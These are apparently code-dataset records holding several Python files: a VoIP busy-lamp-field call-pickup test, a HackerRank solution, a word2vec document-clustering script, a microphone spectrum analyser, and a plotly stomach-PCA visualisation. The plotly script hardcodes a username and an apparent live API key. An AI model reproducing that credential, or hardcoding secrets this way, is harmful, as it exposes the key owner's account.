BlfCallPickup(SetupHelpersTestCase, tng.api.TestCase):\n\n    helpers = (PhoneConfigHelper, PhoneLineRegHelper)\n    helper_num_devices = 3\n\n    @classmethod\n    def setUpClass(cls):\n        log.info(\"Start of setUpClass\")\n\n        cls.proxy = cls.phone_data['proxy']\n\n        log.info(\"Enable busy lamp field in the server\")\n        bsoft_data = cls.toolkit.get_test_env_info(\n            section='bsoft')\n        bsoft_url = bsoft_data['web_url']\n        cls.bsoft_web = BroadsoftWebToolkit(bsoft_url)\n        cls.bsoft_ip_addr = bsoft_data['as_ip_addr']\n        group_admin = bsoft_data['group_admin_id1']\n        pswd = bsoft_data['group_admin_password1']\n        cls.bsoft_web.login(group_admin, pswd)\n        cls.blf_list_uri = cls.bsoft_web.create_blf_listuri(\n            cls.user_id1, [cls.user_id2], cls.proxy)\n        cls.bsoft_user_id2 = cls.bsoft_web.get_user_id(\n            'group admin', cls.user_id2)\n        cls.p2_fname, cls.p2_lname = cls.bsoft_web.get_first_and_last_name(\n            account_type=\"group admin\", user_phone_num=cls.user_id3)\n\n        def delete_blf_list():\n            cls.bsoft_web.delete_blf_listuri(cls.user_id1)\n            cls.bsoft_web.close_web_page()\n\n        cls.addCleanupClass(delete_blf_list)\n\n        log.info(\"End of setUpClass\")\n\n    def test_blf_callpickup_ext_function(self):\n\n        log.info(\"Start of test_blf_callpickup_ext_function\")\n\n        linenum = self.oPhone1.get_phone_line_total_number()\n        if linenum <= 1:\n            self.skipTest(\"Phone only has one line, it can't be set BLF\")\n\n        log.info(\"Set blf callpickup function in the extended function field\")\n        uri_name = '{}@{}'.format(self.blf_list_uri, self.proxy)\n        blf_fnc = 'fnc=blf+sd+cp;sub={};usr={}@{}'.format(\n            uri_name, self.bsoft_user_id2, self.proxy)\n\n        self.oPhone1.ui.set_web_parameter_by_resync(\n            Ext_Func_2=['Extended_Function_2_', blf_fnc],\n            Extension_2=['Extension_2_', 'Disabled'])\n\n        config_parm1 = self.oPhone1.get_web_config(\n            'Extended_Function_2_', 'Extension_2_')\n\n        self.assertEqual(\n            config_parm1[0], blf_fnc,\n            \"BLF function not set in Extended function field\")\n        self.assertEqual(\n            config_parm1[1], \"Disabled\", \"Extension 2 is not disabled\")\n        caller_name = '{} {}'.format(self.p2_fname, self.p2_lname)\n\n        self.oPhone1.register_call_event('VOIP_MSG_CALL_EVENT_SHARE')\n        self.oPhone1.ccapi.feedback_subscribe(self.oPhone1.subscribed_callback)\n        log.info(\"Phone C dials Phone B's number\".format(self.user_id2))\n        self.oPhone3.ccapi.dial('null', self.user_id2, '', 1, 0, 1)\n\n        # check phoneC ringout status and PhoneB ringing status\n        wait_for_ccapi_call_states(\n            self.devices, (\"IDLE\", \"RINGING\", \"PROCEEDING\"), timeout=20)\n        # check BLF State Alerting on Phone A\n        poll_feature_state(\n            self.oPhone1, 2, ['State'], expected_state=['ALERTING'])\n\n        log.info(\"Phone A press the line key to initiate call pick up\")\n        self.oPhone1.ccapi.sendKey(SynergyLite3pccUiHelper.PK_LN2, 1, '0000')\n        # check phoneA  and PhoneC connected status\n        wait_for_ccapi_call_states(\n            self.devices, (\"CONNECTED\", \"IDLE\", \"CONNECTED\"), timeout=20)\n        # check BLF State IDLE on Phone A\n        poll_feature_state(self.oPhone1, 2, ['State'], expected_state=['IDLE'])\n\n        call_name = self.oPhone1.ui.get_param_value('Peer Name')\n        call_num = self.oPhone1.ui.get_param_value('Peer Phone')\n        self.assertEqual(caller_name, call_name)\n        self.assertEqual(self.user_id3[-4:], call_num)\n\n        self.oPhone1.ccapi.feedback_unsubscribe(\n            self.oPhone1.subscribed_callback)\n        wait(10, 'Wait for 10s when phones are in connected state')\n\n        log.info(\"Phone C ends the call\")\n        self.oPhone3.ccapi.hangUp('0000')\n        # check IDLE status for all phones\n        wait_for_ccapi_call_states(\n            self.devices, (\"IDLE\", \"IDLE\", \"IDLE\"), timeout=20)\n        # check BLF State IDLE on Phone A\n        poll_feature_state(self.oPhone1, 2, ['State'], expected_state=['IDLE'])\n        self.oPhone1.unregister_call_event('VOIP_MSG_CALL_EVENT_SHARE')\n\n\n# this is called by 'tng run'\ndef main():\n    tng.api.runner()\n\nif __name__ == '__main__':\n    tng.run(main)\n","sub_path":"common/CFD/call_control/cmCC23986_3pcc_BLF_CallPickup_StarCode_CallerNumber.py","file_name":"cmCC23986_3pcc_BLF_CallPickup_StarCode_CallerNumber.py","file_ext":"py","file_size_in_byte":7144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"493819197","text":"#!/bin/python\n\nimport sys\n\ndef birthdayCakeCandles(n, ar):\n    maximum = None\n    n_maximum = 0\n\n    # It is kept track the maximum number and the number of times it has appeared\n    for number in ar:\n        if not maximum or number > maximum:\n            maximum = number\n            n_maximum = 1\n        elif maximum == number:\n            n_maximum = n_maximum + 1\n\n    return n_maximum\n\nn = int(raw_input().strip())\nar = map(int, raw_input().strip().split(' '))\n\nresult = birthdayCakeCandles(n, ar)\nprint(result)\n","sub_path":"warmup/birthday-cake-candles.py","file_name":"birthday-cake-candles.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"172682792","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n# @Time    : 2019/10/30 下午5:25\n# @Author  : Aries\n# @Site    : \n# @File    : document_emebedding.py\n# @Software: PyCharm\n'''对文档进行分类'''\n\nfrom __future__ import print_function\nimport collections\nimport csv\nimport math\nimport numpy as np\nimport os\nimport random\nimport tensorflow as tf\nimport zipfile\nfrom matplotlib import pylab\nfrom six.moves import range\nfrom six.moves.urllib.request import urlretrieve\nfrom sklearn.manifold import TSNE\nfrom sklearn.cluster import KMeans\nimport nltk  # standard preprocessing\nimport operator  # sorting items in dictionary by value\n# nltk.download() #tokenizers/punkt/PY3/english.pickle\nfrom math import ceil\n\nfile = \"/Users/houruixiang/python/tensorflow_nlp_master/Senior_Word2vec/dataset/bbc-fulltext.zip\"\n# nltk.download('punkt')\nvocabulary_size = 25000  # 词汇表中有25000个单词\ndata_index = 0\ntest_data_index = 0\n\n\ndef read_data(file):\n\tdata = []\n\tfiles_to_read_for_topic = 250\n\ttopics = ['business', 'entertainment', 'politics', 'sport', 'tech']\n\twith zipfile.ZipFile(file=file) as f:\n\t\tparent_dir = f.namelist()[0]\n\t\t# 遍历类别\n\t\tfor t in topics:\n\t\t\tprint('\\tFinished reading data for topic: ', t)\n\t\t\t# 遍历文档\n\t\t\tfor fi in range(1, files_to_read_for_topic):\n\t\t\t\twith f.open(parent_dir + t + '/' + format(fi, '03d') + '.txt') as f2:\n\t\t\t\t\tfile_string = f2.read().decode('latin-1')\n\t\t\t\t\tfile_string = file_string.lower()\n\t\t\t\t\tfile_string = nltk.word_tokenize(file_string)\n\t\t\t\t\tdata.extend(file_string)\n\t\t# 12250\n\t\treturn data\n\n\ndef read_test_data(file):\n\ttest_data = {}\n\tfiles_to_read_for_topic = 250\n\ttopics = ['business', 'entertainment', 'politics', 'sport', 'tech']\n\twith zipfile.ZipFile(file=file) as f:\n\t\tparent_dir = f.namelist()[0]\n\t\tfor t in topics:\n\t\t\tprint('\\tFinished reading data for topic: ', t)\n\t\t\tfor fi in np.random.randint(1, files_to_read_for_topic, (10)).tolist():\n\t\t\t\twith f.open(parent_dir + t + '/' + format(fi, '03d') + '.txt') as f2:\n\t\t\t\t\tfile_string = f2.read().decode('latin-1')\n\t\t\t\t\tfile_string = file_string.lower()\n\t\t\t\t\tfile_string = nltk.word_tokenize(file_string)\n\t\t\t\t\ttest_data[t + '_' + str(fi)] = file_string\n\t\t# 50\n\t\treturn test_data\n\n\ndef build_dataset(words):\n\t'''\n\tcreate a  dict:\n\t1.maps a string word to an ID & maps an ID to a string word\n\t2.List of list of (word,frequency)elements(eg.[(I,1),(to,2)...])\n\t3.Contain the string of text we read,where string words are replaced with word IDs\n\t:param words:\n\t:return:\n\t\tdata: list [[id]]\n\t\tcount: list [[word,freq]]\n\t\tdictionary: dict [[word,id]]\n\t\treverse_dictionary [[id,word]]\n\t'''\n\tcount = [['UNK', -1]]\n\t# collections.Counter(words)计算words中的单词频率\n\t# .most_common(vocabulary_size - 1)输出排序之后频率最高的25000个词\n\tcount.extend(collections.Counter(words).most_common(vocabulary_size - 1))  # 25000\n\t\n\t# 创建快速查询\n\tdictionary = dict()\n\tfor word, _ in count:\n\t\tdictionary[word] = len(dictionary)\n\t\n\tdata = list()\n\tunk_count = 0\n\tfor word in words:\n\t\tif word in dictionary:\n\t\t\tindex = dictionary[word]\n\t\telse:\n\t\t\t# dictionary['UNK']\n\t\t\tindex = 0\n\t\t\tunk_count = unk_count + 1\n\t\tdata.append(index)\n\t\n\t# update the count variable with the number of UNK occurences\n\tcount[0][1] = unk_count\n\treverse_dictionary = dict(zip(dictionary.values(), dictionary.keys()))\n\treturn data, count, dictionary, reverse_dictionary\n\n\ndef build_dataset_with_existing_dictionary(words, dictionary):\n\t'''\n\t\n\t:param words:\n\t:param dictionary:\n\t:return:\n\t'''\n\tdata = list()\n\tfor word in words:\n\t\tif word in dictionary:\n\t\t\tindex = dictionary[word]\n\t\telse:\n\t\t\tindex = 0\n\t\tdata.append(index)\n\treturn data\n\n\n'''Generating Batches of Data for Skip-Gram'''\n\n\ndef generate_batch(data, batch_size, window_size):\n\t# window_size is the amount of words we're looking at from each side of a given word\n\t# creates a single batch\n\t\n\t# data_index is updated by 1 everytime we read a set of data point\n\tglobal data_index\n\t\n\t# span defines the total window size, where\n\t# data we consider at an instance looks as follows.\n\t# [ skip_window target skip_window ]\n\t# e.g if skip_window = 2 then span = 5\n\tspan = 2 * window_size + 1  # [ skip_window target skip_window ]\n\t\n\t# two numpy arras to hold target words (batch)\n\t# and context words (labels)\n\t# Note that batch has span-1=2*window_size columns\n\tbatch = np.ndarray(shape=(batch_size, span - 1), dtype=np.int32)\n\tlabels = np.ndarray(shape=(batch_size, 1), dtype=np.int32)\n\t\n\t# The buffer holds the data contained within the span\n\tbuffer = collections.deque(maxlen=span)\n\t\n\t# Fill the buffer and update the data_index\n\t# 初始填充buffer\n\tfor _ in range(span):\n\t\tbuffer.append(data[data_index])\n\t\tdata_index = (data_index + 1) % len(data)\n\t\n\tnum_samples = 2 * window_size\n\t# Here we do the batch reading\n\t# We iterate through each batch index\n\t# For each batch index, we iterate through span elements\n\t# to fill in the columns of batch array\n\tfor i in range(batch_size):\n\t\tk = 0\n\t\t# avoid the target word itself as a prediction\n\t\t# fill in batch and label numpy arrays\n\t\tfor j in range(span):\n\t\t\tif j == span // 2:\n\t\t\t\tcontinue\n\t\t\tbatch[i, k] = buffer[j]\n\t\t\tk += 1\n\t\tlabels[i, 0] = buffer[window_size]\n\t\t\n\t\t# Everytime we read num_samples data points,\n\t\t# we have created the maximum number of datapoints possible\n\t\t# withing a single span, so we need to move the span by 1\n\t\t# to create a fresh new span\n\t\tbuffer.append(data[data_index])\n\t\tdata_index = (data_index + 1) % len(data)\n\t\n\tassert batch.shape[0] == batch_size and batch.shape[1] == span - 1\n\treturn batch, labels\n\n\ndef generate_test_batch(data, batch_size):\n\tglobal test_data_index\n\tbatch = np.ndarray(shape=(batch_size), dtype=np.int32)\n\ttry:\n\t\tfor bi in range(batch_size):\n\t\t\tbatch[bi] = data[test_data_index]\n\t\t\ttest_data_index = (test_data_index + 1) % len(data)\n\texcept:\n\t\ts = 10\n\treturn batch\n\n\ndef plot(embeddings, labels):\n\tn_clusters = 5  # number of clusters\n\t\n\t# automatically build a discrete set of colors, each for cluster\n\t# 0-o 1-^ 2-d 3-s 4-x\n\tlabel_markers = ['o', '^', 'd', 's', 'x']\n\t# make sure the number of document embeddings is same as\n\t# point labels provided\n\tassert embeddings.shape[0] >= len(labels), 'More labels than embeddings'\n\t\n\tpylab.figure(figsize=(15, 15))  # in inches\n\t\n\tdef get_label_id_from_key(key):\n\t\t'''\n\t\tWe assign each different category a cluster_id\n\t\tThis is assigned based on what is contained in the point label\n\t\tNot the actual clustering results\n\t\t'''\n\t\tif 'business' in key:\n\t\t\treturn 0\n\t\telif 'entertainment' in key:\n\t\t\treturn 1\n\t\telif 'politics' in key:\n\t\t\treturn 2\n\t\telif 'sport' in key:\n\t\t\treturn 3\n\t\telif 'tech' in key:\n\t\t\treturn 4\n\t\n\t# Plot all the document embeddings and their corresponding words\n\tfor i, label in enumerate(labels):\n\t\tx, y = embeddings[i, :]\n\t\tpylab.scatter(x, y, s=50,\n\t\t              marker=label_markers[get_label_id_from_key(label)])\n\t\t\n\t\t# Annotate each point on the scatter plot\n\t\tpylab.annotate(label, xy=(x, y), xytext=(5, 2), textcoords='offset points',\n\t\t               ha='right', va='bottom', fontsize=16)\n\t\n\t# Set plot title\n\tpylab.title('Document Embeddings visualized with t-SNE', fontsize=24)\n\t\n\t# Use for saving the figure if needed\n\tpylab.savefig('./dataset/document_embeddings.png')\n\tpylab.show()\n\n\ndef main():\n\tprint('Processing training data...')\n\twords = read_data(file)\n\tprint('\\nProcessing testing data...')\n\ttest_words = read_test_data(file)\n\t\n\tdata, count, dictionary, reverse_dictionary = build_dataset(words)\n\ttest_data = {}\n\tfor k, v in test_words.items():\n\t\tprint('Building Test Dataset for ', k, ' topic')\n\t\ttest_data[k] = build_dataset_with_existing_dictionary(test_words[k], dictionary)\n\t\n\tbatch_size = 128  # Data points in a single batch\n\tembedding_size = 128  # Dimension of the embedding vector.\n\twindow_size = 4  # How many words to consider left and right.\n\t\n\t# We pick a random validation set to sample nearest neighbors\n\tvalid_size = 16  # Random set of words to evaluate similarity on.\n\t# We sample valid datapoints randomly from a large window without always being deterministic\n\tvalid_window = 50\n\t\n\t# When selecting valid examples, we select some of the most frequent words as well as\n\t# some moderately rare words as well\n\t# (32,)\n\tvalid_examples = np.array(random.sample(range(valid_window), valid_size))\n\tvalid_examples = np.append(valid_examples, random.sample(range(1000, 1000 + valid_window), valid_size), axis=0)\n\t\n\t# 负样本\n\tnum_sampled = 32  # Number of negative examples to sample.\n\t\n\ttf.reset_default_graph()\n\t\n\t# Training input data (target word IDs).\n\ttrain_dataset = tf.placeholder(tf.int32, shape=[batch_size, 2 * window_size])\n\t\n\t# Training input label data (context word IDs)\n\ttrain_labels = tf.placeholder(tf.int32, shape=[batch_size, 1])\n\t\n\t# Validation input data, we don't need a placeholder\n\t# as we have already defined the IDs of the words selected\n\t# as validation data used to evaluate the word vectors\n\tvalid_dataset = tf.constant(valid_examples, dtype=tf.int32)\n\t\n\t# Test data. This is used to compute the document embeddings by averaging\n\t# word embeddings of a given document\n\ttest_labels = tf.placeholder(tf.int32, shape=[batch_size], name='test_dataset')\n\t\n\tembeddings = tf.Variable(tf.random_uniform([vocabulary_size, embedding_size], -1.0, 1.0, dtype=tf.float32))\n\tsoftmax_weights = tf.Variable(tf.truncated_normal([vocabulary_size, embedding_size],\n\t                                                  stddev=1.0 / math.sqrt(embedding_size), dtype=tf.float32))\n\tsoftmax_biases = tf.Variable(tf.zeros([vocabulary_size], dtype=tf.float32))\n\t\n\t# Used to compute document embeddings by averaging all the word vectors of a\n\t# given batch of broadcast data\n\t\n\t# Used to compute document embeddings by averaging all the word vectors of a\n\t# given batch of broadcast data\n\t# 用于计算文档嵌入，方法是平均给定的一批测试数据\n\tmean_batch_embedding = tf.reduce_mean(tf.nn.embedding_lookup(embeddings, test_labels), axis=0)\n\t\n\t# Model.\n\t# Look up embeddings for all the context words of the inputs.\n\t# Then compute a tensor by staking embeddings of all context words\n\tstacked_embedings = None\n\tprint('Defining %d embedding lookups representing each word in the context' % (2 * window_size))\n\tfor i in range(2 * window_size):\n\t\tembedding_i = tf.nn.embedding_lookup(embeddings, train_dataset[:, i])\n\t\tx_size, y_size = embedding_i.get_shape().as_list()\n\t\tif stacked_embedings is None:\n\t\t\tstacked_embedings = tf.reshape(embedding_i, [x_size, y_size, 1])\n\t\telse:\n\t\t\tstacked_embedings = tf.concat(axis=2,\n\t\t\t                              values=[stacked_embedings, tf.reshape(embedding_i, [x_size, y_size, 1])])\n\t\n\t# Make sure the staked embeddings have 2*window_size columns\n\tassert stacked_embedings.get_shape().as_list()[2] == 2 * window_size\n\tprint(\"Stacked embedding size: %s\" % stacked_embedings.get_shape().as_list())\n\t\n\t# Compute mean embeddings by taking the mean of the tensor containing the stack of embeddings\n\tmean_embeddings = tf.reduce_mean(stacked_embedings, 2, keepdims=False)\n\tprint(\"Reduced mean embedding size: %s\" % mean_embeddings.get_shape().as_list())\n\t\n\tloss = tf.reduce_mean(\n\t\ttf.nn.sampled_softmax_loss(weights=softmax_weights, biases=softmax_biases, inputs=mean_embeddings,\n\t\t                           labels=train_labels, num_sampled=num_sampled, num_classes=vocabulary_size))\n\t\n\t# Compute the similarity between minibatch examples and all embeddings.\n\t# We use the cosine distance:\n\tnorm = tf.sqrt(tf.reduce_sum(tf.square(embeddings), 1, keepdims=True))\n\tnormalized_embeddings = embeddings / norm\n\tvalid_embeddings = tf.nn.embedding_lookup(normalized_embeddings, valid_dataset)\n\tsimilarity = tf.matmul(valid_embeddings, tf.transpose(normalized_embeddings))\n\t\n\t# Optimizer. Adagrad optimizers has learning rates assigned to individual parameters\n\toptimizer = tf.train.AdagradOptimizer(1.0).minimize(loss)\n\t\n\tnum_steps = 100001\n\tcbow_loss = []\n\t\n\twith tf.Session() as session:\n\t\t\n\t\t# Initialize the variables in the graph\n\t\ttf.global_variables_initializer().run()\n\t\tprint('Initialized')\n\t\t\n\t\taverage_loss = 0\n\t\t\n\t\t# Train the Word2vec model for num_step iterations\n\t\tfor step in range(num_steps):\n\t\t\t\n\t\t\t# Generate a single batch of data\n\t\t\tbatch_data, batch_labels = generate_batch(data, batch_size, window_size)\n\t\t\t\n\t\t\t# Populate the feed_dict and run the optimizer (minimize loss)\n\t\t\t# and compute the loss\n\t\t\tfeed_dict = {train_dataset: batch_data, train_labels: batch_labels}\n\t\t\t_, l = session.run([optimizer, loss], feed_dict=feed_dict)\n\t\t\t\n\t\t\t# Update the average loss variable\n\t\t\taverage_loss += l\n\t\t\t\n\t\t\tif (step + 1) % 2000 == 0:\n\t\t\t\tif step > 0:\n\t\t\t\t\taverage_loss = average_loss / 2000\n\t\t\t\t# The average loss is an estimate of the loss over the last 2000 batches.\n\t\t\t\tprint('Average loss at step %d: %f' % (step + 1, average_loss))\n\t\t\t\tcbow_loss.append(average_loss)\n\t\t\t\taverage_loss = 0\n\t\t\t\n\t\t\t# Evaluating validation set word similarities\n\t\t\tif (step + 1) % 10000 == 0:\n\t\t\t\tsim = similarity.eval()\n\t\t\t\t# Here we compute the top_k closest words for a given validation word\n\t\t\t\t# in terms of the cosine distance\n\t\t\t\t# We do this for all the words in the validation set\n\t\t\t\t# Note: This is an expensive step\n\t\t\t\tfor i in range(valid_size):\n\t\t\t\t\tvalid_word = reverse_dictionary[valid_examples[i]]\n\t\t\t\t\ttop_k = 8  # number of nearest neighbors\n\t\t\t\t\tnearest = (-sim[i, :]).argsort()[1:top_k + 1]\n\t\t\t\t\tlog = 'Nearest to %s:' % valid_word\n\t\t\t\t\tfor k in range(top_k):\n\t\t\t\t\t\tclose_word = reverse_dictionary[nearest[k]]\n\t\t\t\t\t\tlog = '%s %s,' % (log, close_word)\n\t\t\t\t\tprint(log)\n\t\tfinal_embedings = normalized_embeddings.eval()\n\t\tnp.save('./res/document_embedding', final_embedings)\n\t\twith open('./res/document_losses.csv', 'wt') as f:\n\t\t\twriter = csv.writer(f, delimiter=',')\n\t\t\twriter.writerow(cbow_loss)\n\t\t# Computing broadcast documents embeddings by averaging word embeddings\n\t\t\n\t\t# We take batch_size*num_test_steps words from each document\n\t\t# to compute document embeddings\n\t\tnum_test_steps = 100\n\t\t\n\t\t# Store document embeddings\n\t\t# {document_id:embedding} format\n\t\tdocument_embeddings = {}\n\t\tprint('Testing Phase (Compute document embeddings)')\n\t\t\n\t\t# For each broadcast document compute document embeddings\n\t\tfor k, v in test_data.items():\n\t\t\tprint('\\tCalculating mean embedding for document ', k, ' with ', num_test_steps, ' steps.')\n\t\t\tglobal test_data_index\n\t\t\ttest_data_index = 0\n\t\t\ttopic_mean_batch_embeddings = np.empty((num_test_steps, embedding_size), dtype=np.float32)\n\t\t\t\n\t\t\t# keep averaging mean word embeddings obtained for each step\n\t\t\tfor test_step in range(num_test_steps):\n\t\t\t\ttest_batch_labels = generate_test_batch(test_data[k], batch_size)\n\t\t\t\tbatch_mean = session.run(mean_batch_embedding, feed_dict={test_labels: test_batch_labels})\n\t\t\t\ttopic_mean_batch_embeddings[test_step, :] = batch_mean\n\t\t\tdocument_embeddings[k] = np.mean(topic_mean_batch_embeddings, axis=0)\n\t\t\n\t\t\n\t\t# Create a t-SNE object\n\t\ttsne = TSNE(perplexity=30, n_components=2, init='pca', n_iter=5000)\n\t\t\n\t\tprint('Fitting embeddings to T-SNE')\n\t\t# get the T-SNE manifold\n\t\tdoc_ids, doc_embeddings = zip(*document_embeddings.items())\n\t\ttwo_d_embeddings = tsne.fit_transform(doc_embeddings)\n\t\tprint('\\tDone')\n\t\t\n\t\t# Run the plotting function\n\t\tplot(two_d_embeddings, doc_ids)\n\t\t\n\t\tprint('-------------------------------perform document classification------------------------------')\n\t\tkmeans = KMeans(n_clusters=5, random_state=43643, max_iter=10000, n_init=100, algorithm='elkan')\n\t\tkmeans.fit(np.array(list(document_embeddings.values())))\n\t\t\n\t\t# Compute items fallen within each cluster\n\t\tdocument_classes = {}\n\t\tfor inp, lbl in zip(list(document_embeddings.keys()), kmeans.labels_):\n\t\t\tif lbl not in document_classes:\n\t\t\t\tdocument_classes[lbl] = [inp]\n\t\t\telse:\n\t\t\t\tdocument_classes[lbl].append(inp)\n\t\tfor k, v in document_classes.items():\n\t\t\tprint('\\nDocuments in Cluster ', k)\n\t\t\tprint('\\t', v)\n\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"Senior_Word2vec/document_emebedding.py","file_name":"document_emebedding.py","file_ext":"py","file_size_in_byte":15838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"624825194","text":"'''\n* скрипт накапливает данные с микрофона, после чего рассчитывает спектр,\nосреднённый по амплитудам\n* изначально планировалось вычленять из спектра доминирующие частоты, однако,\nв итоге осталась только задача зрительного анализа спектра\n* сигнал, сразу после получения, даунсемплится 1) для уменьшения числа\nвычислений 2) т.к. частоты выше килогерца меня не интересуют 3) т.к. низкий\nбитрейт позволяет получить более высокое разрешение преобразования Фурье\nна низких частотах (из коробки, без плясок с бубном)\n* можно включить/выключить анимацию, предварительно уменьшив (раз в 10) размеры\nбуфера и стека\n* структура данных выглядит так:\n┌ block ┐\n│ block │ buffer ┐\n│ block │ buffer │ stack\n│ block │ ...    ┘\n└ ...   ┘\n'''\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nimport scipy.io.wavfile\nimport scipy.signal\nimport sounddevice as sd\n\ndevicenumber = 1  # номер микрофона sd.query_devices()\n\nbitrate = 44100  # этот (и никакой другой) битрейт выдает мой микрофон\ndownsamplerate = 10  # даунсемплинг (методом децимации), в n раз\nblocksize = 4410 # величина блока, забираемого из потока (на значениях более\n# 20000 появляются nan)\nbuffersize = 10  # величина буфера (в блоках)\nstacksize = 12  # величина стека (в буферах), стек осредняется\n\nprint(blocksize * buffersize * stacksize / bitrate)  # с, чистое время сбора\n# с учетом вычислений, можно умножать на 2\n\n# данные для a-weighting\naw_data = np.array((6.3, -85.4,\n                    6.3, -85.4,\n                      8, -77.8,\n                     10, -70.4,\n                   12.5, -63.4,\n                     16, -56.7,\n                     20, -50.5,\n                     25, -44.7,\n                     31.5, -39.4,\n                     40, -34.6,\n                     50, -30.2,\n                     63, -26.2,\n                     80, -22.5,\n                    100, -19.1,\n                    125, -16.1,\n                    160, -13.4,\n                    200, -10.9,\n                    250, -8.6,\n                    315, -6.6,\n                    400, -4.8,\n                    500, -3.2,\n                    630, -1.9,\n                    800, -0.8,\n                   1000, 0,\n                   1250, 0.6,\n                   1600, 1,\n                   2000, 1.2,\n                   2500, 1.3,\n                   3150, 1.2,\n                   4000, 1,\n                   5000, 0.5,\n                   6300, -0.1,\n                   8000, -1.1,\n                  10000, -2.5,\n                  12500, -4.3,\n                  16000, -6.6,\n                  20000, -9.3))\naw = aw_data[::2], aw_data[1:][::2]  # получение 2х столбцов данных\n\n# Соотношения децибелов и амплитуд (для звуковых колебаний)\n# GdB = 20log_10(A2/A1)  # 20 -- это вылезает квадрат из под логарифма\n# A2 = A1 * 10**(Gdb/20)\n\ndef abydb(A1, Gdb):\n    '''\n    изменение амплитуды в соответствии с коэффициентом усиления\n    '''\n    A2 = A1 * 10**(Gdb / 20)\n    return A2\n\n# заготовки для отрисовки\nfig = plt.figure()\nxlim = (1e1, 1e4)\nylim = (1e-9, 1e4)\nax = plt.axes(xlim=xlim, ylim=ylim, xscale='log', yscale='log')\npoints = ax.plot([], [], marker='.')[0]\n\ndef f():\n    stack = np.array(())\n\n    for j in range(stacksize):\n        buffer = np.zeros((buffersize, blocksize//downsamplerate))\n\n        for i in range(buffersize):\n            def callback(indata, frames, time, status):  # получение и даунсемплинг сигнала\n                dsblock = scipy.signal.decimate(indata.T[0], downsamplerate)\n                buffer[i].put(np.arange(dsblock.size), dsblock)\n            with sd.InputStream(device=devicenumber, callback=callback,  #\n                                blocksize=blocksize, channels=1):\n                sd.sleep(int(blocksize / bitrate * 1000 + 42))  # 42 мс про запас\n            print(j, i, end='\\t')  # \"прогрессбар\"\n\n        spec = np.abs(np.fft.fft(buffer.flatten()))**2  # мощность сигнала\n        freq = np.fft.fftfreq(buffer.flatten().size, 1/(bitrate/downsamplerate))  # сетка частот\n        idx = np.argwhere((freq > 13.75) & (freq < 500000))  # отсечка хлама\n        spec_cut = spec[idx]\n        freq_cut = freq[idx]\n        spec_cut_aw = abydb(spec_cut, np.interp(freq_cut, aw[0], aw[1]))   # A-weighting\n        stack = np.append(stack, spec_cut_aw.flatten())\n\n    points.set_data(freq_cut, np.mean(stack.reshape(stacksize, -1), 0))\n\n# нижеследующий костыль организован для того, чтобы перекомментируя f()\n# можно было включать анимацию для небольших значений времени сбора данных\n\nf()  ###\ndef animate(i):\n#    f() ###\n    pass\nfps = 10\nanim = animation.FuncAnimation(fig, animate, frames=42, interval=1000/fps)\n","sub_path":"soundmax/sdm 1.3 190410-2104.py","file_name":"sdm 1.3 190410-2104.py","file_ext":"py","file_size_in_byte":5827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"427707113","text":"# plotly visualisation\n\"\"\"\nCreated on Thu Mar 21 15:25:28 2019\n\n@author: Eleanor\n\"\"\"\nimport plotly\nplotly.tools.set_credentials_file(username='eleanor1357', api_key='oB200N0KGmaub83XuktV')\nplotly.tools.set_config_file(world_readable=True,\n                             sharing='public')\nimport plotly.plotly as py\nimport plotly.figure_factory as ff\nimport plotly.graph_objs as go\nfrom skimage import measure\nimport numpy as np\nimport time\nimport nibabel as nib\nfrom sklearn.preprocessing import MinMaxScaler\nfrom matplotlib import cm\n \n\n\n\ntStart = time.time();\nnp.set_printoptions(precision=4, suppress=True);\n############################## load data ########################\n#mag_pca_result_cube = np.load('C:\\MPhys\\\\Data\\\\PCA results\\\\Panc01StomachCropMagnitudePCAcube.npy');\nmag_pca_result_cube = np.load('C:\\MPhys\\\\Data\\\\Intra Patient\\\\Stomach\\\\PCA\\\\pcaMagStomach04.npy');\n\n\n# Read in the delineation nifti files using nibabel\n#stomach = nib.load('C:\\MPhys\\\\stomach.nii');\nstomach = nib.load('C:\\MPhys\\\\Data\\\\Intra Patient\\\\Stomach\\\\Stomach04\\\\stomachMask.nii')\nstomachHdr = stomach.header;\nstomachData = stomach.get_fdata();\n\n# numpy array conversion\n# stom = np.rot90(np.rot90(np.array(stomachData),2,(0,2)),1,(1,2));\nstom = np.array(stomachData);\n\n##################### functions ###############################\n\ndef tri_indices(faces):\n    #simplices is a numpy array defining the simplices of the triangularization\n    #returns the lists of indices i, j, k\n\n    return ([triplet[c] for triplet in faces] for c in range(3))\n\n# Use marching cubes to obtain the surface mesh of the stomach/stomach PRV delineations\n# input 3d volume - masking data form WM\nverts, faces, normals, values = measure.marching_cubes_lewiner(stom, 50) # note to self:check masking boudaries in lua code - CHECKED eh\nx,y,z = zip(*verts)\n#i,j,k = zip(*faces)\n\n\n################ create trisurf plot #########################\n\n# Use marching cubes to obtain the surface mesh of the stomach/stomach PRV delineations\n# input 3d volume - masking data form WM\nverts, faces, normals, values = measure.marching_cubes_lewiner(stom, 50)\nX3,Y3,Z3 = zip(*verts)\nX3 = np.array(X3)\nY3 = np.array(Y3)\nZ3 = np.array(Z3)\n\n# find the PCA vector values that correspond with mesh vertices and put the values that match the rounded vertex values into an array\n# The program scales the values itself so all it needs is a value per vertex and a colour map to assign it too.\ndef vertexColour(x,y,z):\n    coloursMag = np.ndarray(shape = (verts.shape[0]))\n\n    for x2 in range(verts.shape[0]):\n        coloursMag[x2] = mag_pca_result_cube[np.around(x).astype(int),np.around(y).astype(int),np.around(z).astype(int),0];\n            \n    return coloursMag\n\ndata = ff.create_trisurf(x=X3, y=Y3, z=Z3, simplices = faces, colormap = 'YlOrRd', \n                         color_func = vertexColour, show_colorbar = True\n                         )\n                         \n\nfig3 = go.Figure(data=data)\nfig3['layout'].update(dict(title= ' Stomach04 - PCA Magnitudes',\n                           width=1000,\n                           height=1000,\n                           scene=dict(\n                                      aspectratio=dict(x=1, y=1, z=0.7),\n                                      camera=dict(eye=dict(x=1.25, y=1.25, z= 1.25)\n                                     )\n                           )\n                     